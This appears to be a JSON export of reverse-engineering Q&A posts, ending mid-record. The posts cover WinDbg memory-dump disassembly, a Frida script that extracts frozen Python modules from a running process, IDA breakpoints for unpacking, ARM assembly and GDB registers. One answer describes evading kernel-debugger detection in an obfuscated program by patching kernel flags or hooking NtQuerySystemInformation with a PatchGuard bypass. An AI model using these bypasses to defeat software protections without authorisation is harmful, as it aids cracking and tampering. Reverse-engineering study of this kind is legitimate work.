        "Body": "<p>I have a running memory dump saved as a raw binary file.  This isn't a standalone executable - it's literally just a snapshot of running memory.</p>\n\n<p>I'm looking for a tool that will help me identify assembly instructions within this binary file.  Does such a tool exist?  </p>\n\n<p>I know you can use OllyDebug or IDAPRO to analyze executables.  However, since this is a full memory dump, it'a not clear to me whether these tools are still applicable.  For a raw memory dump there isn't a clear entry point that IDA can start with.</p>\n\n<p>Any suggestions would be very helpful.  Thanks!</p>\n",
        "Title": "How to retrieve assembly from a raw memory dump?",
        "Tags": "|assembly|memory|digital-forensics|",
        "Answer": "<h2>Disassembling</h2>\n\n<p>You can disassemble in WinDbg at any memory address, e.g.</p>\n\n<pre><code>0:067&gt; db 000007fe`ff4d0000\n000007fe`ff4d0000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............\n000007fe`ff4d0010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......\n000007fe`ff4d0020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n000007fe`ff4d0030  00 00 00 00 00 00 00 00-00 00 00 00 e0 00 00 00  ................\n000007fe`ff4d0040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th\n000007fe`ff4d0050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno\n000007fe`ff4d0060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS \n000007fe`ff4d0070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......\n\n0:067&gt; u 000007fe`ff4d0000 L1\nadvapi32!WmipBuildReceiveNotification &lt;PERF&gt; (advapi32+0x0):\n000007fe`ff4d0000 4d5a            pop     r10\n</code></pre>\n\n<p>But as you can see, this is more or less useless (in my example useless to disassemble the <code>MZ</code> magic bytes of a DLL's header).</p>\n\n<p>So, finding the right starting place for a disassembly is the critical part.</p>\n\n<h2>Finding code as part of DLLs</h2>\n\n<p>Code should mainly be in DLLs or EXEs (called images or modules in WinDbg). To find them in a memory dump (kernel or user mode), you can run the WinDbg command</p>\n\n<pre><code>.imgscan\n</code></pre>\n\n<p>From WinDbg help:</p>\n\n<blockquote>\n  <p>The .imgscan command scans virtual memory for image headers.</p>\n  \n  <p>The .imgscan command displays any image headers that it finds and the header type. Header types include Portable Executable (PE) headers and Microsoft MS-DOS MZ headers.</p>\n</blockquote>\n\n<p>I was able to verify this in user mode, but with the only Windows XP kernel mode dump I currently have, it does not output anything.</p>\n\n<p>Example output from a user mode dump:</p>\n\n<pre><code>MZ at 000007fe`ff4d0000, prot 00000004, type 00020000 - size db000\n  Name: ADVAPI32.dll\n</code></pre>\n\n<p>So all the necessary information to get the DLL is available. In case of a user mode dump I have used</p>\n\n<pre><code>.writemem &lt;FileName&gt; &lt;Range&gt;\n</code></pre>\n\n<p>to write the DLL to disk and analyze later. </p>\n\n<p><code>&lt;Range&gt;</code> is according the <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/address-and-address-range-syntax\" rel=\"nofollow noreferrer\">address and range syntax</a>, e.g.</p>\n\n<pre><code>.writemem advapi32.dll 000007fe`ff4d0000 Ldb000\n</code></pre>\n\n<p>This probably won't work for kernel mode dumps because parts of the module may have been swapped to disk, so the DLL in memory is no longer complete.</p>\n\n<p>This approach will also not find code that was generated on the fly.</p>\n\n<h2>Finding potentially executable code</h2>\n\n<p>Code that can be executed must reside in a memory block that has the <code>executable</code> flag set.</p>\n\n<p>Unfortunately the command</p>\n\n<pre><code>!address -f:&lt;filter&gt;\n</code></pre>\n\n<p>is broken in WinDbg 6.2.9200. It should work in user mode dumps and output a list of start and end addresses that are executable.</p>\n\n<p>At the moment I only get</p>\n\n<pre><code>0:067&gt; !address -f:PAGE_EXECUTE\n\n        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage\n------------------------------------------------------------------------------------------------------------------------\n\n0:067&gt; !address -f:PAGE_EXECUTE_READ\nInvalid filter arguments. Type !address -? to get the list of supported parameters\n0:067&gt; !address -f:PAGE_EXECUTE_READWRITE\nInvalid filter arguments. Type !address -? to get the list of supported parameters\n0:067&gt; !address -f:PAGE_EXECUTE_WRITECOPY\nInvalid filter arguments. Type !address -? to get the list of supported parameters\n</code></pre>\n\n<p>Although I have a full memory dump</p>\n\n<pre><code>0:067&gt; .dumpdebug\n...\nFlags           40002\n                0002 MiniDumpWithFullMemory\n                40000 MiniDumpWithTokenInformation\n</code></pre>\n\n<p>But you get the idea and might be able to apply it to other tools.</p>\n"
    },
    {
        "Id": "8949",
        "CreationDate": "2015-05-21T22:03:20.717",
        "Body": "<p>(Note)I have already seen this post: <a href=\"https://reverseengineering.stackexchange.com/questions/5860/reverse-engineering-program-written-in-python-compiled-with-freeze\">Reverse Engineering program written in Python, compiled with &quot;freeze&quot;</a></p>\n\n<p>Would anyone know how to do what is done in the link above using the PyCommand but with a mac app? The program I am trying to reverse engineer is compiled using the exact same program but the binary is a mac application.</p>\n\n<p>Unfortunately Immunity Debugger is only able to be run on windows, so I cannot use the PyCommand (to my knowledge). Any help is appreciated, thank you.</p>\n",
        "Title": "Reverse Engineering a python mac application compiled with \"freeze\"",
        "Tags": "|python|",
        "Answer": "<p>As per the <a href=\"https://reverseengineering.stackexchange.com/questions/5860/reverse-engineering-program-written-in-python-compiled-with-freeze\">linked post</a> you can use any debugger to dump frozen modules compiled with freeze. However since you are on a mac, PyCommand and Immunity Debugger will not work. However that does not prevent you from working your ways in.</p>\n\n<p>On a non Windows OS, you can use <a href=\"http://www.frida.re/\" rel=\"nofollow\"><em>frida</em></a> to inject your code inside the running executable. <strike>Since frida injects <em>javascript</em> inside the process, you need to translate the <em>python</em> code to <em>js</em>.</strike></p>\n\n<p>You only need to dump relevant frozen modules, and it would happen automatically as <code>_frozen</code> is an array of all frozen modules.</p>\n\n<hr>\n\n<p><strong>UPDATE</strong></p>\n\n<p>Here is a script to dump frozen modules using the <a href=\"https://pypi.python.org/pypi/frida\" rel=\"nofollow\">python bindings</a> for frida. The script is fairly portable and should work on all OS. You only need to provide the <a href=\"http://en.wikipedia.org/wiki/Process_identifier\" rel=\"nofollow\">PID</a> of the relevant process which you can get from <em>Activity Monitor</em> / <em>System Monitor</em> / <em>Task Manager</em> for your OS.</p>\n\n<pre><code>import frida, struct, sys\n\n# Magic value of pyc files, The value provided here is for python 2.7\n# You can get it by imp.get_magic()\nPYTHONMAGIC = '\\x03\\xF3\\x0D\\x0A' + '\\x00' * 4\n\n# Provide the pid of your process\nPID = 2008\n\n# The size of a pointer is 8 bytes on 64 bit OS and 4 on a 32 bit OS\nptr_size = 8 if sys.maxsize &gt; 2**32 else 4\n\n# Name of python shared library\nif sys.platform.startswith('linux'):\n    lib_name = 'libpython2.7.so'\nelif sys.platform.startswith('darwin'):\n    lib_name = 'libpython2.7.dylib'\nelif sys.platform.startswith('win32'):\n    lib_name = 'python27.dll'\nelse:\n    raise Exception('Unsupported platform')\n\n\nsession = frida.attach(PID)\nexport_va = 0\n\n# Read a null terminated C string or a char array of a given length\ndef readString(addr, size = 0):\n    if size &gt; 0:\n        return struct.unpack('@{}s'.format(size) , session.read_bytes(addr, size))[0]\n    elif size == 0:\n        s = ''\n        while True:\n            ch, = struct.unpack('@c', session.read_bytes(addr, 1))\n            addr += 1\n            if ch == '\\x00':\n                break\n            else:\n                s += ch\n        return s\n    else:\n        return ''\n\n\nmodules = session.enumerate_modules()\nfor module in modules:\n    if module.name == lib_name:\n        exports = module.enumerate_exports()\n        for export in exports:\n            if export.name == 'PyImport_FrozenModules':\n                export_va = module.base_address + export.relative_address\n                break\n    if export_va != 0:\n        break\n\n\nif export_va == 0:\n    raise Exception(\"Could not get export address of PyImport_FrozenModules\")\n\nstructAddr, = struct.unpack_from('@P', session.read_bytes(export_va , ptr_size))\n\nwhile True:\n    ptrToName, ptrToCode, sizeOfCode = struct.unpack_from('@PPi', session.read_bytes(structAddr, ptr_size * 2 + 4))\n    structAddr += ptr_size * 2 + 4\n\n    # The array is terminated by a structure whose members are null\n    if ptrToName == 0 and ptrToCode == 0 and sizeOfCode == 0:\n        break\n\n    moduleName = readString(ptrToName)\n    moduleCode = readString(ptrToCode, sizeOfCode)\n\n    # You can change the output path here\n    with open(moduleName + '.pyc', 'wb') as f:\n        f.write(PYTHONMAGIC + moduleCode)\n\nprint '[*] Frozen modules dumped'\n</code></pre>\n"
    },
    {
        "Id": "8955",
        "CreationDate": "2015-05-22T10:02:03.793",
        "Body": "<p>Is there a way to set memory breakpoint on Access on IDA in Win32 debugger... like we do in Olly from the memory window ?</p>\n\n<p>I tried to do that with the example \"UnPackMe_NoNamePacker.d.out.exe\" in 20th tutorial in lena series, but it's never triggered. Actually, after setting the memory bp on \"text\" seg., the app won't run !\nHere is the file: <a href=\"https://tuts4you.com/download.php?view.141\" rel=\"nofollow\">https://tuts4you.com/download.php?view.141</a></p>\n",
        "Title": "Set memory breakpoing on access on a section in IDA",
        "Tags": "|ida|unpacking|",
        "Answer": "<p>IDA doesn't do the kind of memory breakpoints that Olly implements.  Olly implements memory breakpoints by changing the page protection, catching the exception, and then examining some extra data to see if it's one of its own memory \"breakpoints\". IDA only allows you to do regular software breakpoints (CC), and hardware breakpoints(DR0-DR3).</p>\n\n<p>That being said, if you'd like to break on a memory access using IDA's debugger, you'll have to use a regular hardware breakpoint.  You simply click the DWORD in memory you'd like to break on, and then click Debugger -> Breakpoints -> Add Breakpoint.  IDA will automatically populate the address of the DWORD in the \"Location\" field, and then you can set whatever other options you wish.</p>\n\n<p>If you want to set a breakpoint on an entire section similar to what you'd do from the Memory Map view in Olly, do the following:</p>\n\n<ol>\n<li>In debugger mode, click View -> open Subviews -> Program Segmentation. </li>\n<li>Right-click on \".text\" or whatever other segment you need. </li>\n<li>Click \"Break on Access\" </li>\n</ol>\n\n<p>This will set a hardware breakpoint that will trigger on read and write. For this particular sample, that causes a problem since the packer obviously needs to read and write that section to unpack.  So once you set the breakpoint, press Ctrl-Alt-B, and edit that breakpoint to only trigger on execute. Btw, you can also do this from the regular disassembly view as well by clicking Window -> Program Segmentation.</p>\n\n<p>I'm not quite sure why your program won't run. I stepped through to the \"IsDebuggerPresent\" check, modified the zero flag(Addr: 0x46BB1F), set the aforementioned hardware breakpoint, and the program ran and unpacked just fine.  It does take a few seconds to unpack though, at least on my box.  Double check your breakpoint settings, and verify that the following options are checked: \"enabled\", \"hardware\", \"break\", \"execute\", and that the address location is 0x401000. If you did this from the segmentation window, then the size should be 0x4A000. (It really doesn't need to be this big).</p>\n\n<p>Here's some more information on breakpoints if you're interested.</p>\n\n<ul>\n<li>Software vs. Hardware breakpoints: <a href=\"http://www.nynaeve.net/?p=80\" rel=\"nofollow\">http://www.nynaeve.net/?p=80</a></li>\n<li>Olly's Memory Breakpoints <a href=\"http://waleedassar.blogspot.com/2012/11/defeating-memory-breakpoints.html\" rel=\"nofollow\">http://waleedassar.blogspot.com/2012/11/defeating-memory-breakpoints.html</a></li>\n</ul>\n"
    },
    {
        "Id": "8966",
        "CreationDate": "2015-05-23T01:32:32.950",
        "Body": "<p>I've been looking into the PE format using a random DLL as a test case. When I look manually at the entry point specified in the optional header (and add the image base, because RVA) it doesn't match the entry point address IDA gives in the exports list.</p>\n\n<p>I know reading the entry point from the DLL isn't the problem, since if I calculate:</p>\n\n<pre><code>(AddressOfEntryPoint - [.text section virtual]) + [.text section offset]\n</code></pre>\n\n<p>(which should give the file offset to the entry point) you can find at the offset the same bytes that IDA says should be in the entry function.</p>\n\n<p>Also I know that IDA must be calculating the entry point from this field since <code>DLLEntryPoint</code> isn't in the exports list.</p>\n\n<p>Am I missing something? If I do the same analysis on a normal executable everything works.</p>\n",
        "Title": "DLL entry point in memory",
        "Tags": "|dll|entry-point|",
        "Answer": "<p>When you open a DLL file with IDA, if IDA is able to find the <code>DllMain()</code> function then it will automatically navigate to that function when you first disassemble the DLL. Note that the DLL's entry point (which IDA names \"<code>DllEntryPoint</code>\") does not always (and in fact often does not) point to the <code>DllMain()</code> function.</p>\n\n<p>You can see in the image below (full-size at <a href=\"https://i.stack.imgur.com/CMUou.png\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/CMUou.png</a>) that the DLL's entry point is <code>10807A1C</code>. I've pointed from the entry point's artificial entry in the Exports table (since IDA gets the address from the PE's Entry Point field, not the actual PE Export Table) to the disassembly for the entry point code via arrow #1.</p>\n\n<p>The code at the entry point (named <code>DllEntryPoint()</code> by IDA) calls <code>___DllMainCRTStartup()</code> via arrow #2. Then <code>__DllMainCRTStartup()</code> calls <code>DllMain()</code> via arrow #3.</p>\n\n<p>The two function executed before <code>DllMain()</code> are from VC++ 6's runtime library.</p>\n\n<p><img src=\"https://i.stack.imgur.com/CzKQj.png\" alt=\"IDA\"></p>\n"
    },
    {
        "Id": "8968",
        "CreationDate": "2015-05-23T05:13:44.103",
        "Body": "<p>I'm working on a program that has lots of checks, and I've decided to start by disabling their anti-kernel mode, as it'd surely be more easy to isolate than normal anti-debugging. After poking around a little, I found that <code>ntdll.zwquerysysteminformation</code> runs in a loop in the main thread called by several <code>.vmp</code> addresses. Since I <strong>can't make memory changes, even in DLLs</strong> (or debug it normally), I was thinking about setting up kernel mode breakpoints until I have a bit more to go off of, but to do that, I'd need the offset from the base structure containing the byte. Microsoft doesn't seem to provide this, so would anyone happen to know? Or maybe have general pointers on getting past kernel mode detection in obfuscated targets? I know this is pretty broad, but I'm pretty sure they'd only have used the most basic of methods.</p>\n",
        "Title": "Anti-kernelmode functions (specifically zwquerysysteminformation)",
        "Tags": "|disassembly|debuggers|kernel-mode|",
        "Answer": "<p>I think the check you're talking about (<code>NtQuerySystemInformation</code> with <code>SystemKernelDebuggerInformation</code>) simply checks <code>KdDebuggerEnabled</code> and <code>KdDebuggerNotPresent</code> under the hood (both are single bytes exported from <code>ntoskrnl.exe</code>). You could simply patch those two to get past that particular check. Alternatively, you could go for hooking NtQuerySystemInformation either in usermode (you've mentioned that you can't make memory changes, but that's usually not true - if a memory change at some location is detected, then make the change somewhere else) or in kernelmode (requiring a PatchGuard bypass on 64-bit systems).</p>\n\n<p>However, your kernel debugger might still be detected by its window/driver name.</p>\n"
    },
    {
        "Id": "8971",
        "CreationDate": "2015-05-23T18:06:47.183",
        "Body": "<p>I disassembled an android library with IDA, and want to do some extra steps at the end of one of the functions. Currently, the last instruction bytes are <code>BD E8 F0 8F</code>, in thumb mode, which IDA disassembles to <code>POP.W {R4-R11,PC}</code>.</p>\n\n<p>So i found a nice little piece of unused space, replaced the <code>POP.W</code> with a branch there, wrote my extension, remembered to put a <code>.thumb</code> and <code>.arch armv7a</code> at the start of my program, and finished my code with that <code>POP.W {R4-R11,PC}</code>. Unfortunately, using gnu as from an arm toolchain, this results in <code>Error: bad instruction pop.w '{R4-R11,PC}'</code> </p>\n\n<p>Ok, gnu as doesn't like the .w suffix, so i replaced the instruction with <code>POP {R4-R11,PC}</code>. This changes the error message to Error: invalid register list to push/pop instruction -- <code>pop {R4-R11,PC}</code></p>\n\n<p>I know that some older ARM chips had restrictions on what you could do with registers from R8 on, so, just for verification, i replaced the instruction with <code>POP {R4-R7,PC}</code>. And indeed, as assembles this well.</p>\n\n<p>Now I don't know how to continue?</p>\n\n<ul>\n<li>Maybe I have to give another architecture option to as. But .arch armv7a seems to be the newest which is valid with android armv7a libraries.</li>\n<li>Maybe i'm completely off track, and the pop instruction is actually a macro for two separate instructions, which pop high and low registers after another. But, the result of entering the individual two-byte instructions (<code>BD E8</code>, <code>F0 8F</code>) into the online disassembler seems to have nothing to do with popping from the stack.</li>\n</ul>\n\n<p>I also tried disabling macros in IDA's processor options, which didn't change anything. So i'm inclined to think the byte sequence is a genuine 4 byte thumb mode opcode.</p>\n\n<p>What else do i need to specify in my program to make gnu as recognize the instruction?</p>\n",
        "Title": "How do i make gnu as recognize all ARMV7 instructions?",
        "Tags": "|arm|assembly|",
        "Answer": "<p>By default, <code>as</code>, uses the old 'divided' syntax for arm and thumb instructions. Hence it is not recognising your <code>pop.w</code> instruction.</p>\n\n<p>To make it work, add <code>.syntax unified</code> at the start of your program.  This tells it to use the new unified syntax and you should find it assembles <code>pop.w</code> successfully.</p>\n\n<p>See <a href=\"https://sourceware.org/binutils/docs-2.24/as/ARM_002dInstruction_002dSet.html\">https://sourceware.org/binutils/docs-2.24/as/ARM_002dInstruction_002dSet.html</a> for more details.</p>\n"
    },
    {
        "Id": "8973",
        "CreationDate": "2015-05-24T08:00:04.440",
        "Body": "<p>Some of the general purpose registers are used for some specific reasons. For example <code>EAX</code> is used as an accumulator and to store return values, <code>ECX</code> is used as a counter, <code>ESI</code> and <code>EDI</code> are used to store the src and dst address, respectively. similarly, <code>ESP</code> and <code>EBP</code>.</p>\n\n<p>Is there any specific use case for<code>EBX</code> register? and Is there anything else that I have missed special use cases of general purpose registers?</p>\n\n<p>Thank you.</p>\n",
        "Title": "What are the some of the special usecases of general purpose registers",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>\u2022 AX/EAX/RAX: Accumulator</p>\n\n<p>\u2022 BX/EBX/RBX: Base index (for use with arrays)</p>\n\n<p>\u2022 CX/ECX/RCX: Counter</p>\n\n<p>\u2022 DX/EDX/RDX: Data/general</p>\n\n<p>\u2022 SI/ESI/RSI: Source index for string operations.</p>\n\n<p>\u2022 DI/EDI/RDI: Destination index for string operations.</p>\n\n<p>\u2022 SP/ESP/RSP: Stack pointer for top address of the stack.</p>\n\n<p>\u2022 BP/EBP/RBP: Stack base pointer for holding the address of the current stack frame.</p>\n\n<p>\u2022 IP/EIP/RIP: Instruction pointer. Holds the program counter, the current instruction address.</p>\n\n<p>Segment registers:</p>\n\n<p>\u2022 CS: Code Segment (used for IP)</p>\n\n<p>\u2022 DS: Data Segment (used for MOV)</p>\n\n<p>\u2022 SS: Stack Segment (used for SP)</p>\n\n<p>\u2022 ES: Destination Segment (used for MOVS, etc.)</p>\n\n<p>\u2022 FS: local store</p>\n\n<p>\u2022 GS: local store</p>\n"
    },
    {
        "Id": "8978",
        "CreationDate": "2015-05-25T02:07:28.227",
        "Body": "<p>I am working as an ERP consultant for post 10 years. I find Ethical hacking and reverse engineering very interesting and want to become one. I have been reading some books and also watching videos. But, is it too late to choose that as a career? If not, what should I do, learn and imbibe?</p>\n\n<p>EDIT:Sorry folks! Only from the downvotes I realized that this question is opinion based and SO is not for such questions. However, from the comments and replies, I sense some motivation enough to fuel me. I will be deleting this post shortly.Thanks!</p>\n",
        "Title": "10 years as erp consultant. Is too late to become an ethical hacker?",
        "Tags": "|career-advice|",
        "Answer": "<p>Note: This is a very opinion based answer, so some people will strongly disagree with me. But your question doesn't have a real good answer that would be valid for others as well.</p>\n\n<p>My personal experience is that, to be good at hacking, ethical or not, you need to have a very strong drive to want to find out how things work, an eye for technical details, and the ability to figure out things of your own.</p>\n\n<p>Noone i know who is good at hacking, reverse engineering, or anything in related fields, decided one day \"I'd like to be a hacker, so let's learn how to do it\". Rather, these guys cut open the heads of their sister's dolls at the age of 6 to find out how the mechanism worked that closed the eyes when you laid them to bed, got their first electrical shock at 12 when they opened some electronics device, and started hacking as a hobby in their teens. Staying up all night to finally find out how something worked seemed to be much more rewarding that, say, talking an alcoholic drink out of a barkeeper when you were underage.</p>\n\n<p>Later, they turned the experience they had with this kind of stuff into a job. Much of this job belongs of long, arduous sessions at the computer, paying attention to every little detail, until you finally get your reward in that \"yay! I did it!\" feeling.</p>\n\n<p>This kind of person is not, in my opinion, somebody who does an ERP consultant job for 10 years, given the chance to choose. But in the end, it's up to you to decide if you're this type.</p>\n\n<p>I know many people who do a job they don't really like, work from 9 to 5 to earn their living, don't even want to think or talk about their job in their free time, and are still moderately successful in terms of money or social status. This is ok; many jobs aren't that demanding, but need to be done. However, this won't work if you intend to be a hacker. To be a successful hacker, you don't have to want to be a successful hacker, you have to be curious, need an intense appetite to satisfy that curiosity, and have a strong will to never stop attacking a problem until you solve it.</p>\n\n<p>Now, it's up to you to decide if that appeals to you.</p>\n"
    },
    {
        "Id": "8989",
        "CreationDate": "2015-05-26T12:26:43.073",
        "Body": "<p>I'm trying to understand the syntax of the <code>IT</code> instruction that is to be used to enable conditional execution of instructions on ARM, in Thumb2 mode.</p>\n\n<p>The way I understand it, the bits in the CPSR register along with the <code>IT</code> instruction make conditional execution possible in Thumb mode. If I were writing some Thumb2 code perhaps I could go about following the process mentioned below.</p>\n\n<p>Lets say I have 4 conditional instructions(the maximum limit suported by <code>IT</code>).</p>\n\n<ol>\n<li>First, I write down by conditional instructions. Lets say the prefixes for the four instructions are <code>CLZNE.W</code>, <code>CLZEQ.W</code>, <code>ADDEQ</code>, <code>ADDNEQ</code>.</li>\n<li>Now before the conditional instructions I add an instruction of the form <code>ITEEE NE</code>. The NE is added as the first instruction has an NE. The <code>EEE</code> following the IT are added as the last 3 instructions are the converse of an <code>NE</code>. Is this how assembly programmers write conditional thumb2 ARM code? Is my understanding of the process correct?</li>\n<li>Why is the condition encoded in both <code>IT</code> and the instructions that follow?</li>\n</ol>\n",
        "Title": "Conditional instructions on ARM",
        "Tags": "|arm|",
        "Answer": "<p>The condition codes displayed after the instructions is a convenience feature of the disassembler (deduced from the preceding <code>IT</code> instruction), the individual Thumb-2 instructions <em>do not encode the condition codes</em>. Adding condition codes even if they're not encoded is also the practice <a href=\"https://stackoverflow.com/a/20899475/422797\">recommended by ARM</a> when writing <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0473c/BABJIHGJ.html\" rel=\"nofollow noreferrer\">UAL assembly</a>. This serves two purposes:</p>\n\n<ol>\n<li><p>The assembler can check that the <code>IT</code> instruction matches the following conditional-suffixed instructions (e.g. all <code>T</code> instructions use the same condition as <code>IT</code> itself and all <code>E</code> ones use the opposite one),and no conditional instructions appear outside of the <code>IT</code> range.</p></li>\n<li><p>The same assembly can be used when assembling for ARM mode - the IT instruction is ignored  (or hidden by an <code>ifdef</code>) and conditional instructions are assembled as regular conditional ARM instructions.</p></li>\n</ol>\n"
    },
    {
        "Id": "8992",
        "CreationDate": "2015-05-26T14:30:22.467",
        "Body": "<p>When I disassemble ARM code that deals with floating point values, how can I print out the registers? (I'm using Gdb).</p>\n\n<pre><code>   0x000083d8 &lt;+12&gt;:    ldr r3, [pc, #56]   ; 0x8418 &lt;main+76&gt;\n   0x000083dc &lt;+16&gt;:    str r3, [r11, #-8]\n   0x000083e0 &lt;+20&gt;:    vldr    s14, [r11, #-8]\n   0x000083e4 &lt;+24&gt;:    vldr    s15, [pc, #40]  ; 0x8414 &lt;main+72&gt;\n</code></pre>\n\n<p>How could I print out the <code>s14</code> register in this case?</p>\n",
        "Title": "Floating point registers on ARM",
        "Tags": "|arm|",
        "Answer": "<p><strong><code>p $reg</code></strong></p>\n\n<p>In QEMU v3.0.0 built from source <a href=\"https://stackoverflow.com/questions/20590155/how-to-single-step-arm-assembly-in-gdb-on-qemu/51310791#51310791\">user mode</a> + GDB 8.2 Ubuntu 16.04, if you do: <code>info registers</code> and <code>info vector</code> it does not show the floating point values but rather rounds them down to integers, I think there is a bug. </p>\n\n<p>The following does work however. First I load:</p>\n\n<pre><code>1.5, 2.5, 3.5, 4.5\n</code></pre>\n\n<p>into v0 / q0.</p>\n\n<p><strong>ARMv8</strong></p>\n\n<pre><code>(gdb) p $v0\n$2 = {\n  d = {\n    f = {[0] = 8.0000018998980522, [1] = 1024.0002455711365}, \n    u = {[0] = 4620693218751676416, [1] = 4652218416153755648}, \n    s = {[0] = 4620693218751676416, [1] = 4652218416153755648}\n  }, \n  s = {\n    f = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}, \n    u = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}, \n    s = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}\n  }, \n  h = {\n    u = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}, \n    s = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}\n  }, \n  b = {\n    u = {[0] = 0, [1] = 0, [2] = 192, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = 144, [15] = 64}, \n    s = {[0] = 0, [1] = 0, [2] = -64, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = -112, [15] = 64}\n  }, \n  q = {\n    u = {[0] = 85818282497786728556221825347259203584}, \n    s = {[0] = 85818282497786728556221825347259203584}\n  }\n}\n</code></pre>\n\n<p>and:</p>\n\n<pre><code>(gdb) p $v0.s\n$3 = {\n  f = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}, \n  u = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}, \n  s = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}\n}\n</code></pre>\n\n<p>and:</p>\n\n<pre><code>(gdb) p $v0.s.f\n$3 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}\n</code></pre>\n\n<p><a href=\"https://github.com/cirosantilli/arm-assembly-cheat/blob/d5dafc3528f8f735e5ed0f36e7aa8014a145a240/v8/simd.S#L68\" rel=\"nofollow noreferrer\">Test setup</a>.</p>\n\n<p><strong>ARMv7</strong></p>\n\n<pre><code>(gdb) p $q0\n$3 = {\n  u8 = {[0] = 0, [1] = 0, [2] = 192, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = 144, [15] = 64}, \n  u16 = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}, \n  u32 = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}, \n  u64 = {[0] = 4620693218751676416, [1] = 4652218416153755648}, \n  f32 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}, \n  f64 = {[0] = 8.0000018998980522, [1] = 1024.0002455711365}\n}\n</code></pre>\n\n<p>and:</p>\n\n<pre><code>(gdb) p $q0.f32\n$5 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}\n</code></pre>\n\n<p><a href=\"https://github.com/cirosantilli/arm-assembly-cheat/blob/d5dafc3528f8f735e5ed0f36e7aa8014a145a240/v7/simd.S#L89\" rel=\"nofollow noreferrer\">Test setup</a>.</p>\n\n<p><strong>Bug</strong></p>\n\n<p>The bug I mentioned earlier, leads in ARMv8 to:</p>\n\n<pre><code>(gdb) i r v0\nv0             {\n  d = {\n    f = {[0x0] = 0x8, [0x1] = 0x400}, \n    u = {[0x0] = 0x402000003fc00000, [0x1] = 0x4090000040600000}, \n    s = {[0x0] = 0x402000003fc00000, [0x1] = 0x4090000040600000}\n  }, \n  s = {\n    f = {[0x0] = 0x1, [0x1] = 0x2, [0x2] = 0x3, [0x3] = 0x4}, \n    u = {[0x0] = 0x3fc00000, [0x1] = 0x40200000, [0x2] = 0x40600000, [0x3] = 0x40900000}, \n    s = {[0x0] = 0x3fc00000, [0x1] = 0x40200000, [0x2] = 0x40600000, [0x3] = 0x40900000}\n  }, \n  h = {\n    u = {[0x0] = 0x0, [0x1] = 0x3fc0, [0x2] = 0x0, [0x3] = 0x4020, [0x4] = 0x0, [0x5] = 0x4060, [0x6] = 0x0, [0x7] = 0x4090}, \n    s = {[0x0] = 0x0, [0x1] = 0x3fc0, [0x2] = 0x0, [0x3] = 0x4020, [0x4] = 0x0, [0x5] = 0x4060, [0x6] = 0x0, [0x7] = 0x4090}\n  }, \n  b = {\n    u = {[0x0] = 0x0, [0x1] = 0x0, [0x2] = 0xc0, [0x3] = 0x3f, [0x4] = 0x0, [0x5] = 0x0, [0x6] = 0x20, [0x7] = 0x40, [0x8] = 0x0, [0x9] = 0x0, [0xa] = 0x60, [0xb] = 0x40, [0xc] = 0x0, [0xd] = 0x0, [0xe] = 0x90, [0xf] = 0x40}, \n    s = {[0x0] = 0x0, [0x1] = 0x0, [0x2] = 0xc0, [0x3] = 0x3f, [0x4] = 0x0, [0x5] = 0x0, [0x6] = 0x20, [0x7] = 0x40, [0x8] = 0x0, [0x9] = 0x0, [0xa] = 0x60, [0xb] = 0x40, [0xc] = 0x0, [0xd] = 0x0, [0xe] = 0x90, [0xf] = 0x40}\n  }, \n  q = {\n    u = {[0x0] = 0x4090000040600000402000003fc00000}, \n    s = {[0x0] = 0x4090000040600000402000003fc00000}\n  }\n}\n</code></pre>\n\n<p>So note how the <code>v0.s.f</code> line has rounded down integers instead of floats:</p>\n\n<pre><code>  s = {\n    f = {[0x0] = 0x1, [0x1] = 0x2, [0x2] = 0x3, [0x3] = 0x4},\n</code></pre>\n\n<p><strong>SVE</strong></p>\n\n<p>Not yet implemented on QEMU, see: <a href=\"https://stackoverflow.com/questions/52888916/how-to-assemble-arm-sve-instructions-with-gnu-gas-or-llvm-and-run-it-on-qemu/52888917#52888917\">https://stackoverflow.com/questions/52888916/how-to-assemble-arm-sve-instructions-with-gnu-gas-or-llvm-and-run-it-on-qemu/52888917#52888917</a></p>\n"
    },
    {
        "Id": "8994",
        "CreationDate": "2015-05-26T14:35:27.927",
